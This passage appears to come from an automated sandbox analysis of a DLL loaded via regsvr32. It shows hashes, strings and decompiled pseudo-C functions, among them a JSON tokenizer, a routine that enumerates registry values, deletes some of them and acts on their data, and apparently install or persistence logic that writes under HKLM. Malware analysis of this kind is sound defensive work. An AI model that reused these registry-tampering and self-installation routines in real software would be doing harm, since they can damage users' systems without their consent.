Instruction Fuzzy Hash: 6D3107B5800658BBFB10EB60DC89E9B37FDEB85380F604169F908A3165DF34AA41CB24

Uniqueness

Uniqueness Score: -1.00%

Function 1001DCCC, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 425COMMON

Download Yara Rule

Strings

%I64d, xrefs: 1001DD3B
false, xrefs: 1001DD2C
true, xrefs: 1001DD20
null, xrefs: 1001DD14

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: %I64d$false$null$true
API String ID: 0-4285102228
Opcode ID: 51a16387b74cf27fecae90c8b45371b81cb13d6d1511e467125509a49f71ae67
Instruction ID: 9e1d5f2a1333650088fd8e9154161bfb4c893709189430914569f3b3e7e25d33
Opcode Fuzzy Hash: 51a16387b74cf27fecae90c8b45371b81cb13d6d1511e467125509a49f71ae67
Instruction Fuzzy Hash: A4D18F7590024ABADF11FEA09C41FAF7BB9EF04354F10402AFD14AA151E776EE90DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1001CF27, Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 251
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E1001CF27(void* __ebx, intOrPtr __edx, void* __eflags, void* __fp0) {
				char _v8;
				long long _v16;
				void* __esi;
				void* _t51;
				intOrPtr _t56;
				void* _t62;
				signed int _t71;
				void* _t74;
				void* _t76;
				signed int _t82;
				signed int* _t90;
				intOrPtr* _t91;
				void* _t96;
				intOrPtr _t119;
				signed int _t122;
				signed int _t123;
				intOrPtr _t128;
				signed int _t131;
				intOrPtr* _t139;
				void* _t152;

				_t152 = __fp0;
				_t119 = __edx;
				_t96 = __ebx;
				_t51 = E1001E5FC(__ebx + 0x28);
				if( *((intOrPtr*)(__ebx + 0x3c)) == 0x100) {
					E1001E283(_t51,  *(__ebx + 0x40));
					 *(__ebx + 0x40) =  *(__ebx + 0x40) & 0x00000000;
					 *(__ebx + 0x44) =  *(__ebx + 0x44) & 0x00000000;
				}
				_push(_t122);
				do {
					_t131 = E1001CBD9(_t96);
				} while (_t131 == 0x20 || _t131 == 9 || _t131 == 0xa || _t131 == 0xd);
				_t123 = _t122 | 0xffffffff;
				if(_t131 != _t123) {
					__eflags = _t131 - 0xfffffffe;
					if(_t131 != 0xfffffffe) {
						E1001E638(_t96 + 0x28, _t131);
						__eflags = _t131 - 0x7b;
						if(_t131 == 0x7b) {
							L67:
							 *(_t96 + 0x3c) = _t131;
							goto L68;
						}
						__eflags = _t131 - 0x7d;
						if(_t131 == 0x7d) {
							goto L67;
						}
						__eflags = _t131 - 0x5b;
						if(_t131 == 0x5b) {
							goto L67;
						}
						__eflags = _t131 - 0x5d;
						if(_t131 == 0x5d) {
							goto L67;
						}
						__eflags = _t131 - 0x3a;
						if(_t131 == 0x3a) {
							goto L67;
						}
						__eflags = _t131 - 0x2c;
						if(_t131 == 0x2c) {
							goto L67;
						}
						__eflags = _t131 - 0x22;
						if(__eflags != 0) {
							__eflags = _t131 - 0x30;
							if(_t131 < 0x30) {
								L21:
								__eflags = _t131 - 0x2d;
								if(_t131 != 0x2d) {
									__eflags = _t131 - 0x41;
									if(_t131 < 0x41) {
										L54:
										__eflags = _t131 + 0xffffff9f - 0x19;
										if(__eflags > 0) {
											while(1) {
												_t56 =  *((intOrPtr*)(_t96 + 0x10));
												__eflags =  *((char*)(_t56 + _t96 + 8));
												if( *((char*)(_t56 + _t96 + 8)) == 0) {
													break;
												}
												E1001E638(_t96 + 0x28,  *( *((intOrPtr*)(_t96 + 0x10)) + _t96 + 8) & 0x000000ff);
												 *((intOrPtr*)(_t96 + 0x10)) =  *((intOrPtr*)(_t96 + 0x10)) + 1;
												_t43 = _t96 + 0x24;
												 *_t43 =  *(_t96 + 0x24) + 1;
												__eflags =  *_t43;
											}
											goto L10;
										} else {
											goto L55;
										}
										do {
											while(1) {
												L55:
												_t62 = E1001CC9F(_t96, __eflags);
												__eflags = _t62 - 0x41;
												if(_t62 < 0x41) {
													break;
												}
												__eflags = _t62 - 0x5a;
												if(__eflags <= 0) {
													continue;
												}
												break;
											}
											__eflags = _t62 - 0x61;
											if(_t62 < 0x61) {
												break;
											}
											__eflags = _t62 - 0x7a;
										} while (__eflags <= 0);
										E1001CB4E(_t62, _t96);
										E1001E53A(_t96 + 0x28);
										_push(5);
										__eflags = 0;
										asm("repe cmpsb");
										if(0 != 0) {
											_push(6);
											__eflags = 0;
											asm("repe cmpsb");
											if(0 != 0) {
												_push(5);
												asm("repe cmpsb");
												 *(_t96 + 0x3c) = 0x103;
											} else {
												 *(_t96 + 0x3c) = 0x104;
											}
										} else {
											 *(_t96 + 0x3c) = 0x103;
										}
										goto L68;
									}
									__eflags = _t131 - 0x5a;
									if(__eflags <= 0) {
										goto L55;
									}
									goto L54;
								}
								L22:
								_t71 = _t131;
								 *(_t96 + 0x3c) = _t123;
								__eflags = _t131 - 0x2d;
								if(__eflags == 0) {
									_t71 = E1001CC9F(_t96, __eflags);
								}
								__eflags = _t71 - 0x30;
								if(__eflags != 0) {
									_t14 = _t71 - 0x30; // -48
									__eflags = _t14 - 9;
									if(__eflags > 0) {
										goto L26;
									} else {
										goto L28;
									}
									while(1) {
										L28:
										_t74 = E1001CC9F(_t96, __eflags);
										__eflags = _t74 - 0x30;
										if(_t74 < 0x30) {
											goto L30;
										}
										__eflags = _t74 - 0x39;
										if(__eflags <= 0) {
											continue;
										}
										goto L30;
									}
									goto L30;
								} else {
									_t74 = E1001CC9F(_t96, __eflags);
									_t13 = _t74 - 0x30; // -48
									__eflags = _t13 - 9;
									if(_t13 > 9) {
										L30:
										__eflags =  *(_t96 + 0x34) & 0x00000008;
										if(( *(_t96 + 0x34) & 0x00000008) != 0) {
											L36:
											__eflags = _t74 - 0x2e;
											if(_t74 != 0x2e) {
												L41:
												__eflags = _t74 - 0x45;
												if(__eflags == 0) {
													L43:
													_t76 = E1001CC9F(_t96, __eflags);
													__eflags = _t76 - 0x2b;
													if(__eflags == 0) {
														L45:
														_t71 = E1001CC9F(_t96, __eflags);
														L46:
														_t25 = _t71 - 0x30; // -48
														__eflags = _t25 - 9;
														if(__eflags > 0) {
															goto L26;
														} else {
															goto L47;
														}
														while(1) {
															L47:
															_t74 = E1001CC9F(_t96, __eflags);
															__eflags = _t74 - 0x30;
															if(_t74 < 0x30) {
																break;
															}
															__eflags = _t74 - 0x39;
															if(__eflags <= 0) {
																continue;
															}
															break;
														}
														L49:
														E1001CB4E(_t74, _t96);
														_t82 = E1001E751(_t96 + 0x28, _t152, _t96 + 0x28,  &_v16);
														__eflags = _t82;
														if(_t82 == 0) {
															 *(_t96 + 0x3c) = 0x102;
															 *((long long*)(_t96 + 0x40)) = _v16;
														}
														goto L68;
													}
													__eflags = _t76 - 0x2d;
													if(__eflags != 0) {
														goto L46;
													}
													goto L45;
												}
												__eflags = _t74 - 0x65;
												if(__eflags != 0) {
													goto L49;
												}
												goto L43;
											}
											L37:
											_t137 = _t96;
											_t23 = E1001CBD9(_t96) - 0x30; // -48
											__eflags = _t23 - 9;
											if(__eflags > 0) {
												E1001CB1F(_t83, _t137);
												goto L68;
											}
											E1001E638(_t96 + 0x28, _t83);
											while(1) {
												_t74 = E1001CC9F(_t96, __eflags);
												__eflags = _t74 - 0x30;
												if(_t74 < 0x30) {
													goto L41;
												}
												__eflags = _t74 - 0x39;
												if(__eflags <= 0) {
													continue;
												}
												goto L41;
											}
											goto L41;
										}
										__eflags = _t74 - 0x2e;
										if(_t74 == 0x2e) {
											goto L37;
										}
										__eflags = _t74 - 0x45;
										if(_t74 == 0x45) {
											goto L36;
										}
										__eflags = _t74 - 0x65;
										if(_t74 == 0x65) {
											goto L36;
										}
										E1001CB4E(_t74, _t96);
										_t90 = E1001E53A(_t96 + 0x28);
										L1001EEF6();
										 *_t90 =  *_t90 & 0x00000000;
										_push(0xa);
										_t91 =  &_v8;
										_push(_t91);
										_push(_t90);
										L1001EEF0();
										_t139 = _t91;
										_t128 = _t119;
										L1001EEF6();
										__eflags =  *_t91 - 0x22;
										if( *_t91 != 0x22) {
											 *(_t96 + 0x3c) = 0x101;
											 *((intOrPtr*)(_t96 + 0x40)) = _t139;
											 *((intOrPtr*)(_t96 + 0x44)) = _t128;
										}
										goto L68;
									}
									L26:
									E1001CB4E(_t71, _t96);
									goto L68;
								}
							}
							__eflags = _t131 - 0x39;
							if(_t131 <= 0x39) {
								goto L22;
							}
							goto L21;
						} else {
							E1001CD35(_t96, __eflags);
							goto L68;
						}
					}
					L10:
					 *(_t96 + 0x3c) = _t123;
					goto L68;
				} else {
					 *(_t96 + 0x3c) =  *(_t96 + 0x3c) & 0x00000000;
					L68:
					return  *(_t96 + 0x3c);
				}
			}

0x1001cf27
0x1001cf27
0x1001cf27
0x1001cf31
0x1001cf3e
0x1001cf43
0x1001cf48
0x1001cf4c
0x1001cf50
0x1001cf52
0x1001cf53
0x1001cf5a
0x1001cf5c
0x1001cf70
0x1001cf75
0x1001cf80
0x1001cf83
0x1001cf92
0x1001cf99
0x1001cf9c
0x1001d207
0x1001d207
0x00000000
0x1001d207
0x1001cfa2
0x1001cfa5
0x00000000
0x00000000
0x1001cfab
0x1001cfae
0x00000000
0x00000000
0x1001cfb4
0x1001cfb7
0x00000000
0x00000000
0x1001cfbd
0x1001cfc0
0x00000000
0x00000000
0x1001cfc6
0x1001cfc9
0x00000000
0x00000000
0x1001cfcf
0x1001cfd2
0x1001cfe0
0x1001cfe3
0x1001cfea
0x1001cfea
0x1001cfed
0x1001d14d
0x1001d150
0x1001d157
0x1001d15a
0x1001d15d
0x1001d1f8
0x1001d1f8
0x1001d1fb
0x1001d200
0x00000000
0x00000000
0x1001d1eb
0x1001d1f0
0x1001d1f3
0x1001d1f3
0x1001d1f3
0x1001d1f7
0x00000000
0x00000000
0x00000000
0x00000000
0x1001d163
0x1001d163
0x1001d163
0x1001d165
0x1001d16a
0x1001d16d
0x00000000
0x00000000
0x1001d16f
0x1001d172
0x00000000
0x00000000
0x00000000
0x1001d172
0x1001d174
0x1001d177
0x00000000
0x00000000
0x1001d179
0x1001d179
0x1001d180
0x1001d189
0x1001d18f
0x1001d199
0x1001d19b
0x1001d19d
0x1001d1a8
0x1001d1b2
0x1001d1b4
0x1001d1b6
0x1001d1c5
0x1001d1cd
0x1001d1d9
0x1001d1b8
0x1001d1b8
0x1001d1b8
0x1001d19f
0x1001d19f
0x1001d19f
0x00000000
0x1001d19d
0x1001d152
0x1001d155
0x00000000
0x00000000
0x00000000
0x1001d155
0x1001cff3
0x1001cff3
0x1001cff5
0x1001cff8
0x1001cffb
0x1001cfff
0x1001cfff
0x1001d004
0x1001d007
0x1001d024
0x1001d027
0x1001d02a
0x00000000
0x00000000
0x00000000
0x00000000
0x1001d02c
0x1001d02c
0x1001d02e
0x1001d033
0x1001d036
0x00000000
0x00000000
0x1001d038
0x1001d03b
0x00000000
0x00000000
0x00000000
0x1001d03b
0x00000000
0x1001d009
0x1001d00b
0x1001d010
0x1001d013
0x1001d016
0x1001d03d
0x1001d03d
0x1001d041
0x1001d09f
0x1001d09f
0x1001d0a2
0x1001d0d4
0x1001d0d4
0x1001d0d7
0x1001d0de
0x1001d0e0
0x1001d0e5
0x1001d0e8
0x1001d0ef
0x1001d0f1
0x1001d0f6
0x1001d0f6
0x1001d0f9
0x1001d0fc
0x00000000
0x00000000
0x00000000
0x00000000
0x1001d102
0x1001d102
0x1001d104
0x1001d109
0x1001d10c
0x00000000
0x00000000
0x1001d10e
0x1001d111
0x00000000
0x00000000
0x00000000
0x1001d111
0x1001d113
0x1001d115
0x1001d122
0x1001d129
0x1001d12b
0x1001d134
0x1001d13b
0x1001d13b
0x00000000
0x1001d12b
0x1001d0ea
0x1001d0ed
0x00000000
0x00000000
0x00000000
0x1001d0ed
0x1001d0d9
0x1001d0dc
0x00000000
0x00000000
0x00000000
0x1001d0dc
0x1001d0a4
0x1001d0a4
0x1001d0ab
0x1001d0ae
0x1001d0b1
0x1001d143
0x00000000
0x1001d143
0x1001d0bc
0x1001d0c3
0x1001d0c5
0x1001d0ca
0x1001d0cd
0x00000000
0x00000000
0x1001d0cf
0x1001d0d2
0x00000000
0x00000000
0x00000000
0x1001d0d2
0x00000000
0x1001d0c3
0x1001d043
0x1001d046
0x00000000
0x00000000
0x1001d048
0x1001d04b
0x00000000
0x00000000
0x1001d04d
0x1001d050
0x00000000
0x00000000
0x1001d054
0x1001d05d
0x1001d064
0x1001d069
0x1001d06c
0x1001d06e
0x1001d071
0x1001d072
0x1001d073
0x1001d07b
0x1001d07d
0x1001d07f
0x1001d084
0x1001d087
0x1001d08d
0x1001d094
0x1001d097
0x1001d097
0x00000000
0x1001d087
0x1001d018
0x1001d01a
0x00000000
0x1001d01a
0x1001d007
0x1001cfe5
0x1001cfe8
0x00000000
0x00000000
0x00000000
0x1001cfd4
0x1001cfd6
0x00000000
0x1001cfd6
0x1001cfd2
0x1001cf85
0x1001cf85
0x00000000
0x1001cf77
0x1001cf77
0x1001d20a
0x1001d210
0x1001d210

Strings

false, xrefs: 1001D1AA
true, xrefs: 1001D191
null, xrefs: 1001D1C7

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: false$null$true
API String ID: 0-2913297407
Opcode ID: 43f9ad24df1b0672c0cc81e4bc121fab49b76a90510d4498f82221c09d67ffed
Instruction ID: 5c4c92d52c94c174a273d5200a44cf30991332785848d93d4f5394817bf24078
Opcode Fuzzy Hash: 43f9ad24df1b0672c0cc81e4bc121fab49b76a90510d4498f82221c09d67ffed
Instruction Fuzzy Hash: C6712372D042459ADF64FE28C8C1A9D67D9EB1A390FA2056BFC22CF097DA74DCC58781

Uniqueness

Uniqueness Score: -1.00%

Function 100059D4, Relevance: 10.6, APIs: 7, Instructions: 143
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100059D4(void* __fp0, void* _a4, short* _a8, intOrPtr _a12, long _a16) {
				void* _v8;
				void* _v12;
				char* _v16;
				int* _v20;
				int _v24;
				int _v28;
				int _v32;
				int _v36;
				long _v40;
				int _v44;
				int _v48;
				int _v52;
				struct _FILETIME _v60;
				void _v578;
				short _v580;
				void* _t57;
				char* _t59;
				intOrPtr _t66;
				short* _t78;
				long _t79;
				intOrPtr _t81;
				long _t82;
				short* _t85;
				intOrPtr _t88;
				long _t95;
				void* _t101;
				void* _t102;
				void* _t110;

				_t110 = __fp0;
				_v580 = 0;
				_v8 = 0;
				memset( &_v578, 0, 0x206);
				_v36 = 0x104;
				_v28 = 0x3fff;
				_v32 = 0;
				_t57 = E10009568(0x3fff);
				_t102 = _t101 + 0x10;
				_v12 = _t57;
				if(_t57 == 0) {
					L18:
					return 0;
				}
				_t59 = E10009568(0x800);
				_v16 = _t59;
				if(_t59 == 0) {
					L17:
					goto L18;
				}
				if(RegOpenKeyExW(_a4, _a8, 0, 0x2001f,  &_v8) != 0) {
					L14:
					if(_v8 != 0) {
						_t66 =  *0x1002b76c; // 0x121fa78
						 *((intOrPtr*)(_t66 + 0x1c))(_v8);
					}
					E100094F4( &_v12, 0x3fff);
					E100094F4( &_v16, 0x800);
					goto L17;
				}
				if(RegQueryInfoKeyW(_v8,  &_v580,  &_v36, 0, 0, 0, 0,  &_v24,  &_v48,  &_v52,  &_v44,  &_v60) == 0) {
					__eflags = _v24;
					if(__eflags == 0) {
						goto L14;
					}
					_v20 = 0;
					if(__eflags <= 0) {
						goto L14;
					} else {
						goto L7;
					}
					do {
						L7:
						memset(_v16, 0, 0x800);
						memset(_v12, 0, 0x3fff);
						_t78 = _v12;
						_t102 = _t102 + 0x18;
						_v28 = 0x3fff;
						_v32 = 0x800;
						 *_t78 = 0;
						_t79 = RegEnumValueW(_v8, _v20, _t78,  &_v28, 0, 0, _v16,  &_v32);
						__eflags = _t79;
						if(_t79 == 0) {
							_t81 =  *0x1002b744; // 0x121fb18
							_t82 =  *((intOrPtr*)(_t81 + 4))(_v16, _a12);
							_v40 = _t82;
							__eflags = _t82;
							if(_t82 != 0) {
								RegDeleteValueW(_v8, _v12);
								__eflags = _a16;
								if(_a16 != 0) {
									_t95 = _v40;
									_t85 = _t95 + E1000C8FB(_t95) * 2 - 2;
									__eflags =  *_t85 - 0x22;
									if(__eflags == 0) {
										__eflags = 0;
										 *_t85 = 0;
									}
									E1000B9B4(_t95, __eflags, _t110);
								}
							}
						}
						_v20 =  &(_v20[0]);
						__eflags = _v20 - _v24;
					} while (_v20 < _v24);
				} else {
					_t88 =  *0x1002b76c; // 0x121fa78
					 *((intOrPtr*)(_t88 + 0x1c))(_v8);
				}
			}

0x100059d4
0x100059e8
0x100059f7
0x100059fa
0x10005a05
0x10005a0c
0x10005a0f
0x10005a12
0x10005a17
0x10005a1a
0x10005a1f
0x10005b6c
0x10005b70
0x10005b70
0x10005a2c
0x10005a32
0x10005a37
0x10005b6a
0x00000000
0x10005b6a
0x10005a55
0x10005b43
0x10005b46
0x10005b4b
0x10005b50
0x10005b50
0x10005b58
0x10005b62
0x00000000
0x10005b67
0x10005a89
0x10005a9b
0x10005a9e
0x00000000
0x00000000
0x10005aa4
0x10005aa7
0x00000000
0x00000000
0x00000000
0x00000000
0x10005aad
0x10005aad
0x10005ab2
0x10005abc
0x10005ac1
0x10005ac4
0x10005ac9
0x10005acc
0x10005acf
0x10005ae6
0x10005aec
0x10005aee
0x10005af3
0x10005afb
0x10005afe
0x10005b01
0x10005b03
0x10005b0b
0x10005b11
0x10005b14
0x10005b16
0x10005b1e
0x10005b22
0x10005b26
0x10005b28
0x10005b2a
0x10005b2a
0x10005b2f
0x10005b2f
0x10005b14
0x10005b03
0x10005b34
0x10005b3a
0x10005b3a
0x10005a8b
0x10005a8e
0x10005a93
0x10005a93

APIs

memset.MSVCRT ref: 100059FA

Part of subcall function 10009568: RtlAllocateHeap.NTDLL(00000008,?,?,1000AC93,00000100,?,10002E84), ref: 10009576

RegOpenKeyExW.ADVAPI32(?,?,00000000,0002001F,?,?,?,?,00000000), ref: 10005A4D
RegQueryInfoKeyW.ADVAPI32 ref: 10005A81
memset.MSVCRT ref: 10005AB2
memset.MSVCRT ref: 10005ABC
RegEnumValueW.ADVAPI32 ref: 10005AE6
RegDeleteValueW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 10005B0B

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: memset$Value$AllocateDeleteEnumHeapInfoOpenQuery
String ID:
API String ID: 3570018214-0
Opcode ID: 91651db78d8e76f7e7b3685fc9d05931b9d9ea7a6ce5bbb9d820006002769770
Instruction ID: 98a3680c0d36e28613859f641e54de416fc1c0c53aebe25a5b5dd5e4c0c958b1
Opcode Fuzzy Hash: 91651db78d8e76f7e7b3685fc9d05931b9d9ea7a6ce5bbb9d820006002769770
Instruction Fuzzy Hash: F751D37190021DAFEF01DFA4CC89DEEBBBDEF08385F10446AF605A6121E731AE559B60

Uniqueness

Uniqueness Score: -1.00%

Function 10007CC7, Relevance: 9.4, APIs: 6, Instructions: 356
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E10007CC7(intOrPtr __edx, void* __fp0, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, WCHAR* _a16, signed int _a20) {
				void _v530;
				char _v532;
				char _v564;
				intOrPtr _v568;
				signed int _v572;
				intOrPtr _v580;
				intOrPtr _v584;
				WCHAR* _v588;
				WCHAR* _v592;
				signed int _v596;
				char _v600;
				char _v632;
				char _v636;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t88;
				WCHAR* _t101;
				intOrPtr _t102;
				signed int _t109;
				void* _t111;
				WCHAR* _t114;
				intOrPtr _t115;
				signed int _t120;
				intOrPtr _t123;
				void* _t126;
				WCHAR* _t128;
				void* _t130;
				intOrPtr _t132;
				signed int _t133;
				signed int _t136;
				intOrPtr _t137;
				WCHAR* _t139;
				void* _t150;
				WCHAR* _t151;
				char _t155;
				intOrPtr _t157;
				void* _t158;
				intOrPtr _t159;
				signed char _t166;
				WCHAR* _t168;
				void* _t173;
				intOrPtr _t174;
				intOrPtr _t176;
				void* _t180;
				signed char _t181;
				intOrPtr* _t183;
				WCHAR* _t184;
				void* _t186;
				void* _t188;
				WCHAR* _t198;
				void* _t199;
				void* _t202;
				void* _t205;
				void* _t206;
				void* _t207;
				intOrPtr _t222;
				intOrPtr _t224;
				void* _t226;
				void* _t227;
				WCHAR* _t229;
				void* _t231;
				signed int _t237;
				void* _t240;
				void* _t241;
				void* _t242;
				void* _t243;
				void* _t245;
				void* _t252;

				_t252 = __fp0;
				_t222 = __edx;
				_v596 = _v596 | 0xffffffff;
				_v532 = 0;
				_t231 = 0;
				memset( &_v530, 0, 0x20a);
				_t224 = _a4;
				_t240 = (_t237 & 0xfffffff8) - 0x254 + 0xc;
				_v572 = 1;
				if(_t224 != 0) {
					_t174 =  *0x1002b740; // 0x11a04a0
					_t176 =  *0x1002b76c; // 0x121fa78
					_v580 =  *((intOrPtr*)(_t176 + 0x64))(_t224,  *((intOrPtr*)( *((intOrPtr*)(_t174 + 0x110)))));
				}
				_t88 = E1000D1EF(_t224);
				_pop(_t186);
				if(_t88 != 0) {
					L5:
					_v568 = E1000CE78(_t186, _a8);
					E1000CDF7( &_v564, __eflags, _t252, _t89);
					_pop(_t188);
					_t180 = E10007C50(_t188,  &_v564);
					E1000CE94( &_v588, _t252, E1000BF2C(0,  &_v564, E1000C90F( &_v564)));
					_t241 = _t240 + 0xc;
					_t226 = E1000265C(_t180, _t231, __eflags, _t252, _a4,  &_v564);
					_pop(_t192);
					__eflags = _t226 - _t231;
					if(_t226 != _t231) {
						_push(_t231);
						_push(_t180);
						_push("\\");
						_t101 = E1000ABBC(_t226);
						_t242 = _t241 + 0x10;
						_v592 = _t101;
						_t102 =  *0x1002b740; // 0x11a04a0
						__eflags =  *((intOrPtr*)(_t102 + 0x214)) - 3;
						_t181 = 4;
						if( *((intOrPtr*)(_t102 + 0x214)) != 3) {
							L12:
							__eflags = _v572 - _t231;
							if(_v572 != _t231) {
								 *0x1002b7f0 = E1000AEB7(_t226);
								 *0x1002b7f8 = E1000AEB7(_v592);
								L17:
								_t227 = E10009010(_t252,  &_v532, _a4, _v568,  &_v600,  &_v588);
								_t243 = _t242 + 0x14;
								__eflags = _t227 - _t231;
								if(_t227 == _t231) {
									L44:
									_t109 = _v596;
									L45:
									return _t109;
								}
								E10008B38(0x1002834e, _t227, 0xe);
								_t198 = _v592;
								_push(_t181);
								_t111 = E1000AEF4(_t198);
								_push(_t198);
								_push(_t227);
								_t199 = 0x36;
								E10008CB3(_t111 + _t111 + 2, _t199, _t222, _t252);
								_t114 = E10008A90(_t199, 5);
								_push(_t231);
								_v588 = _t114;
								_t115 =  *0x1002b740; // 0x11a04a0
								_v600 = E1000ABBC(_t115 + 0x228);
								_t245 = _t243 + 0x18;
								E1000A741( &_v588);
								_t120 = E1000B8D9(_v600);
								_t202 = _t114;
								__eflags = _t120;
								if(_t120 != 0) {
									_t150 = E1000C72A(1, _v600, _t231, _t231);
									_t245 = _t245 + 0xc;
									__eflags = _t150 - _t231;
									if(_t150 != _t231) {
										_t151 = E10008E3A(_t202, _t150);
									} else {
										_t151 = 0;
									}
									_v588 = _t151;
									__eflags = _t151 - _t231;
									if(_t151 != _t231) {
										E10008B86(_t222, _t151, _t252, _t227);
										E10008C76( &_v588);
										_t231 = 0;
										__eflags = 0;
									}
								}
								E100094F4( &_v600, 0xfffffffe);
								_t183 = _a12;
								_t123 =  *((intOrPtr*)(_t183 + 0xc));
								__eflags = _t123 - _t231;
								if(_t123 != _t231) {
									E10008B86(_t222, _t123, _t252, _t227);
									_t231 = 0;
									__eflags = 0;
								}
								_push(2);
								_v588 =  *_t183;
								_push( &_v588);
								_push(_t227);
								_t126 = 8;
								_t205 = 0xb;
								_v584 = _t231;
								E10008CB3(_t126, _t205, _t222, _t252);
								_t128 = E1000B036(_t205, _t222, 0);
								_push(2);
								_v588 = _t128;
								_push( &_v588);
								_push(_t227);
								_t130 = 8;
								_t206 = 2;
								_v584 = _t222;
								E10008CB3(_t130, _t206, _t222, _t252);
								_t132 =  *0x1002b740; // 0x11a04a0
								__eflags = _v572;
								if(_v572 == 0) {
									__eflags =  *((intOrPtr*)(_t132 + 0xa4)) - 1;
									if( *((intOrPtr*)(_t132 + 0xa4)) != 1) {
										_t133 = E1001B56C(_t132, _t252, 0, _v592, 0);
										goto L32;
									}
									goto L30;
								} else {
									__eflags =  *((intOrPtr*)(_t132 + 0xa4)) - 1;
									if( *((intOrPtr*)(_t132 + 0xa4)) != 1) {
										L35:
										__eflags =  *(_t132 + 0x1898) & 0x00000082;
										if(( *(_t132 + 0x1898) & 0x00000082) != 0) {
											E10013418(0x64);
										}
										E1000893F(_t183, _t252,  &_v564);
										_t229 = _a16;
										_pop(_t207);
										__eflags = _t229;
										if(_t229 != 0) {
											_t137 =  *0x1002b740; // 0x11a04a0
											__eflags =  *((intOrPtr*)(_t137 + 0xa0)) - 1;
											if( *((intOrPtr*)(_t137 + 0xa0)) != 1) {
												lstrcpyW(_t229, _v592);
											} else {
												_t139 = E10004FBA(_t207, 0x193);
												_v588 = _t139;
												lstrcpyW(_t229, _t139);
												E1000A741( &_v588);
												_t184 = "\"";
												lstrcatW(_t229, _t184);
												lstrcatW(_t229, _v592);
												lstrcatW(_t229, _t184);
											}
										}
										_t136 = _a20;
										__eflags = _t136;
										if(_t136 != 0) {
											 *_t136 = _v568;
										}
										_t82 =  &_v596;
										 *_t82 = _v596 & 0x00000000;
										__eflags =  *_t82;
										goto L44;
									}
									L30:
									_t133 = E100082C5(_t132 + 0x228, _t132 + 0x228, _v592);
									L32:
									__eflags = _t133;
									if(_t133 >= 0) {
										_t132 =  *0x1002b740; // 0x11a04a0
										goto L35;
									}
									_v596 = 0xfffffffd;
									goto L44;
								}
							}
							_t155 = E100133DB(_v568);
							_v600 = _t155;
							_t157 =  *0x1002b760; // 0x121f8b0
							_t158 =  *((intOrPtr*)(_t157 + 0xd0))(_v600, 0x80003, 6, 0xff, 0x400, 0x400, _t231, _t231);
							__eflags = _t158 - 0xffffffff;
							if(_t158 != 0xffffffff) {
								_t159 =  *0x1002b760; // 0x121f8b0
								 *((intOrPtr*)(_t159 + 0x30))(_t158);
								E100094F4( &_v636, 0xffffffff);
								goto L17;
							}
							E100094F4( &_v632, _t158);
							_t109 = 1;
							goto L45;
						}
						_t166 =  *(_t102 + 0x1898);
						__eflags = _t181 & _t166;
						if((_t181 & _t166) == 0) {
							__eflags = _t166 - _t231;
							if(_t166 != _t231) {
								goto L12;
							}
							L11:
							E10013461(_t192, _t226);
							goto L12;
						}
						_v600 = _t231;
						_t168 = E10008A90(_t192, 0xd1e);
						_t192 =  &_v600;
						_v588 = _t168;
						E1000CAD0( &_v600, 0x80000002, _t168, _t226, _t181,  &_v600, _t181);
						E1000A741( &_v588);
						_t242 = _t242 + 0x1c;
						goto L11;
					}
					_v596 = 0xfffffffe;
					goto L44;
				}
				_t173 = E100027D1(_t186, _t231, _t224,  &_v532, 0x105);
				_t240 = _t240 + 0xc;
				if(_t173 != 0) {
					goto L5;
				}
				_v596 = _v596 | 0xffffffff;
				goto L44;
			}

0x10007cc7
0x10007cc7
0x10007cd3
0x10007ce2
0x10007ce7
0x10007cef
0x10007cf4
0x10007cf7
0x10007cfa
0x10007d04
0x10007d06
0x10007d13
0x10007d1c
0x10007d1c
0x10007d21
0x10007d26
0x10007d29
0x10007d4c
0x10007d5a
0x10007d5e
0x10007d63
0x10007d6c
0x10007d8c
0x10007d91
0x10007da1
0x10007da4
0x10007da5
0x10007da7
0x10007db6
0x10007db7
0x10007db8
0x10007dbe
0x10007dc3
0x10007dc6
0x10007dca
0x10007dcf
0x10007dd8
0x10007dd9
0x10007e25
0x10007e25
0x10007e29
0x10007e99
0x10007ea3
0x10007ea8
0x10007ec4
0x10007ec6
0x10007ec9
0x10007ecb
0x100080be
0x100080be
0x100080c2
0x100080c8
0x100080c8
0x10007ed9
0x10007ee0
0x10007ee4
0x10007ee5
0x10007eea
0x10007eeb
0x10007ef2
0x10007ef3
0x10007efd
0x10007f03
0x10007f05
0x10007f09
0x10007f19
0x10007f21
0x10007f25
0x10007f2f
0x10007f34
0x10007f35
0x10007f37
0x10007f41
0x10007f46
0x10007f49
0x10007f4b
0x10007f52
0x10007f4d
0x10007f4d
0x10007f4d
0x10007f58
0x10007f5c
0x10007f5e
0x10007f63
0x10007f6d
0x10007f72
0x10007f72
0x10007f72
0x10007f5e
0x10007f7b
0x10007f80
